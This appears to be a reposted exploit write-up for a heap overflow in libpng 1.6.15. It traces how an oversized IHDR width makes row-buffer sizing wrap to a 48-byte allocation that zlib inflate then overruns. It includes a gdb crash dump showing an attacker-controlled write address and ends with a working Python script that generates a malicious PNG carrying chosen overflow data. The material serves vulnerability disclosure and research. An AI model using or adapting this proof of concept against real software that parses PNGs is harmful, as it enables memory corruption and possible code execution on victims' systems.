/*********************************
* Alex Eubanks *
* [email protected] *
* libpng 1.6.15 heap overflow *
* 18 December 2014 *
*********************************/
/*************
* A foreword *
*************/
// this bug was found with american fuzzy lop! thanks lcamtuf!
/*
* We will trigger a call to zlib which will decompress data from an IDAT chunk
* into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend
* on the amount of data we decompress into it.
*
* In some cases, like my case (programs are wonderful creations), this may
* allow for a controlled write.
*
* My environment is
* [email protected]:~$ uname -a
* Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux
*
* Example code to trigger this overflow is available at the end of this post.
* Simply set OVERFLOW_DATA to what you want to overflow the heap with.
*/
Program received signal SIGSEGV, Segmentation fault.
0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $pc
=> 0xb7eb4f71: movdqu %xmm0,(%esi)
(gdb) i r esi
esi 0x41414141 1094795585
(gdb) i r xmm0
xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16
times>},
v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141,
0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
uint128 = 0x41414141414141414141414141414141}
/***************
* The overflow *
***************/
# pngrutil.c :: png_read_IDAT_data :: line 4018
/*
* At the time of this call,
* png_ptr->zstream->avail_out = 0x20000000
* png_ptr->zstream->avail_in = size of our compressed IDAT data
* png_ptr->zstream->next_in = our compressed IDAT data
* png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf
*/
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
/*******
* IHDR *
*******/
[0-3] = png_ptr->width // 0x20000000
[4-7] = png_ptr->height // 0x00000020
[8] = png_ptr->bit_depth // 0x10
[9] = png_ptr->color_type // 0x06
[10] = png_ptr->compression_type // 0x00
[11] = png_ptr->filter_type // 0x00
[12] = png_ptr->interlace_type // 0x01
/*********************
* png_read_IDAT_data *
*********************/
# pngrutil.c :: png_read_IDAT_data :: line 3941
void /* PRIVATE */
png_read_IDAT_data(png_structrp png_ptr, png_bytep output,
png_alloc_size_t avail_out)
/
* png_bytep output
* \-> a buffer to decompress the IDAT data into
* png_alloc_size_t avail_out
* \-> The size of output in bytes
*/
# pngrutil.c :: png_read_IDAT_data :: line 3984
buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/);
# pngrutil.c :: png_read_IDAT_data :: line 3989
png_ptr->zstream.next_in = buffer;
# pngrutil.c :: png_read_IDAT_data :: line 3946
png_ptr->zstream.next_out = output;
# pngrutil.c :: png_read_IDAT_data :: line 4002
png_ptr->zstream.avail_out = out;
pngrutil.c :: png_read_IDAT_data :: line 4018
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
/*********************************
* The call to png_read_IDAT_data *
*********************************/
# pngread.c :: png_read_row :: line 534
png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1);
# pngrutil.c :: png_read_IDAT_data :: line 3941
void /* PRIVATE */
png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out)
/*****************************
* deriving row_info.rowbytes *
*****************************/
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
/************************************
* deriving row_info.rowbytes *
* \-> deriving row_info.pixel_depth *
************************************/
# pngread.c :: png_read_row :: line 396
row_info.pixel_depth = png_ptr->pixel_depth;
// row_info.pixel_depth is set in png_handle_IHDR
# pngrutil.c :: png_handle_IHDR :: line 855
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels);
// where png_ptr->bit_depth = IHDR[8], or 0x10
// channels is set by the following logic based off
// IHDR->color_type, or 0x6
if (color_type == PNG_COLOR_TYPE_RGB) // 2
png_ptr->channels = 3
else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4
png_ptr->channels = 2
else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6
png_ptr->channels = 4
else
png_ptr->channels = 1
// row_info.pixel_depth = 0x10 * 4
/************************************
* deriving row_info.rowbytes *
* \-> deriving row_info.width *
************************************/
# pngread.c :: png_read_row :: line 392
row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */
// png_ptr->iwidth is set in png_read_start_row
// cliff notes here are, during the first interlace pass, width will be
// divided by 8, so 0x20000000 becomes 0x4000000
// actual computation is ((0x20000000 + 8 - 1 - 0) / 8)
# pngrutil.c :: png_read_start_row :: line 4217
png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000
png_pass_inc[png_ptr->pass] - 1 -
png_pass_start[png_ptr->pass]) /
png_pass_inc[png_ptr->pass];
// png_ptr->iwidth = 0x4000000
// back to our original call for row_info.rowbytes
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
# pngpriv.h :: line 659
/* Added to libpng-1.2.6 JB */
#define PNG_ROWBYTES(pixel_bits, width) \
((pixel_bits) >= 8 ? \
((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \
(( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) )
// row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000
// row_info.rowbytes = 0x20000000
/****************************
* deriving png_ptr->row_buf *
****************************/
# pngstruct.h :: line 225
// inside struct png_struct_def, which is png_ptr
png_bytep row_buf; /* buffer to save current (unfiltered) row.
* This is a pointer into big_row_buf
*/
# pngrutil.c :: png_read_start_row :: line 4403
png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48);
// there are a couple #ifdef cases for png_ptr->row_buf to be set from,
// but this summarizes nicely
# pngrutil.c :: png_read_start_row :: line 4427
png_ptr->row_buf = png_ptr->big_row_buf + 31;
/****************************
* deriving png_ptr->row_buf *
* \-> deriving row_bytes *
****************************/
# pngrutil :: png_read_start_row :: line 4427
row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7));
/* Calculate the maximum bytes needed, adding a byte and a pixel
* for safety's sake
*/
row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) +
1 + ((max_pixel_depth + 7) >> 3);
// cliff notes, based on our IHDR color_type being
// PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64
row_bytes = 0x20000000 * (64 >> 3) = 0;
// this makes the size of the malloc call to png_malloc 48, which means
// malloc doesn't fail, returns valid pointer into the heap
// png_ptr->big_row_buf = png_malloc(png_ptr, 48)
##################
# HAPPY FUN CODE #
##################
import zlib
import struct
import sys
OVERFLOW_DATA = 'A' * 4096
IDAT_DATA = zlib.compress(OVERFLOW_DATA)
IDAT_SIZE = struct.pack('>i', len(IDAT_DATA))
IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA))
HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a'
IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04'
IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32
IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44'
sys.stdout.write(HEADER + IHDR + IDAT + IEND)
# 0day.today [2018-02-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation